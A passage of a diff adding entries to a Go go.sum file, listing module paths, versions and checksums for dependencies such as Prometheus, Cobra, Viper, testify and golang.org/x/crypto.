h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo= +github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d/go.mod h1:IuKpRQcYE1Tfu+oAQqaLisqDeXgjyyltCfsaoYN18NQ= +github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= +github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= +github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= +github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= +github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= +github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= +github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= +github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= +github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= +github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= +github.com/pelletier/go-toml v1.8.0/go.mod h1:D6yutnOGMveHEPV7VQOuvI/gXY61bv+9bAOTRnLElKs= +github.com/pelletier/go-toml v1.9.3/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= +github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= +github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= +github.com/pelletier/go-toml/v2 v2.0.1 h1:8e3L2cCQzLFi2CR4g7vGFuFxX7Jl1kKX8gW+iV0GUKU= +github.com/pelletier/go-toml/v2 v2.0.1/go.mod h1:r9LEWfGN8R5k0VXJ+0BkIe7MYkRdwZOjgMj2KwnJFUo= +github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= +github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= +github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZI= +github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= +github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= +github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= +github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= +github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= +github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= +github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= +github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= +github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= +github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= +github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= +github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= +github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= +github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= +github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= +github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= +github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= +github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls= +github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= +github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= +github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= +github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= +github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU= +github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr2sn6hBC1WIYH/UbIg= +github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= +github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= +github.com/rakyll/statik v0.1.7 h1:OF3QCZUuyPxuGEP7B4ypUa7sB/iHtqOTDYZXGM8KOdQ= +github.com/rakyll/statik v0.1.7/go.mod h1:AlZONWzMtEnMs7W4e/1LURLiI49pIMmp6V9Unghqrcc= +github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= +github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= +github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= +github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= +github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8= +github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE= +github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= +github.com/rs/xid v1.3.0 h1:6NjYksEUlhurdVehpc7S7dk6DAmcKv8V9gG0FsVN2U4= +github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= +github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU= +github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc= +github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/sagikazarmark/crypt v0.6.0/go.mod h1:U8+INwJo3nBv1m6A/8OBXAq7Jnpspk5AxSgDyEQcea8= +github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= +github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= +github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= +github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= +github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= +github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= +github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= +github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= +github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= +github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= +github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= +github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= +github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= +github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= +github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= +github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk= +github.com/spf13/afero v1.6.0/go.mod h1:Ai8FlHk4v/PARR026UzYexafAt9roJ7LcLMAmO6Z93I= +github.com/spf13/afero v1.8.2 h1:xehSyVa0YnHWsJ49JFljMpg1HX19V6NDZ1fkm1Xznbo= +github.com/spf13/afero v1.8.2/go.mod h1:CtAatgMJh6bJEIs48Ay/FOnkljP3WeGUG0MC1RfAqwo= +github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= +github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= +github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= +github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= +github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE= +github.com/spf13/cobra v1.2.1 h1:+KmjbUw1hriSNMF55oPrkZcb27aECyrj8V2ytv7kWDw= +github.com/spf13/cobra v1.2.1/go.mod h1:ExllRjgxM/piMAM+3tAZvg8fsklGAf3tPfi+i8t68Nk= +github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= +github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk= +github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= +github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE= +github.com/spf13/viper v1.8.1/go.mod h1:o0Pch8wJ9BVSWGQMbra6iw0oQ5oktSIBaujf1rJH9Ns= +github.com/spf13/viper v1.12.0 h1:CZ7eSOd3kZoaYDLbXnmzgQI5RlciuXBMA+18HwHRfZQ= +github.com/spf13/viper v1.12.0/go.mod h1:b6COn30jlNxbm/V2IqWiNWkJ+vZNiMNksliPCiuKtSI= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= +github.com/subosito/gotenv v1.3.0 h1:mjC+YW8QpAdXibNi+vNWgzmgBH4+5l5dCXv8cNysBLI= +github.com/subosito/gotenv v1.3.0/go.mod h1:YzJjq/33h7nrwdY+iHMhEOEEbW0ovIz0tB6t6PwAXzs= +github.com/takama/daemon v0.12.0/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4= +github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= +github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= +github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= +github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= +github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= +github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= +go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= +go.etcd.io/etcd/api/v3 v3.5.0/go.mod h1:cbVKeC6lCfl7j/8jBhAK6aIYO9XOjdptoxU/nLQcPvs= +go.etcd.io/etcd/api/v3 v3.5.4/go.mod h1:5GB2vv4A4AOn3yk7MftYGHkUfGtDHnEraIjym4dYz5A= +go.etcd.io/etcd/client/pkg/v3 v3.5.0/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= +go.etcd.io/etcd/client/pkg/v3 v3.5.4/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= +go.etcd.io/etcd/client/v2 v2.305.0/go.mod h1:h9puh54ZTgAKtEbut2oe9P4L/oqKCVB6xsXlzd7alYQ= +go.etcd.io/etcd/client/v2 v2.305.4/go.mod h1:Ud+VUwIi9/uQHOMA+4ekToJ12lTxlv0zB/+DHwTGEbU= +go.etcd.io/etcd/client/v3 v3.5.4/go.mod h1:ZaRkVgBZC+L+dLCjTcF1hRXpgZXQPOvnA/Ak/gq3kiY= +go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= +go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= +go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= +go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= +go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= +go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= +go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= +go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= +go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= +go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= +go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= +golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= +golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= +golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e 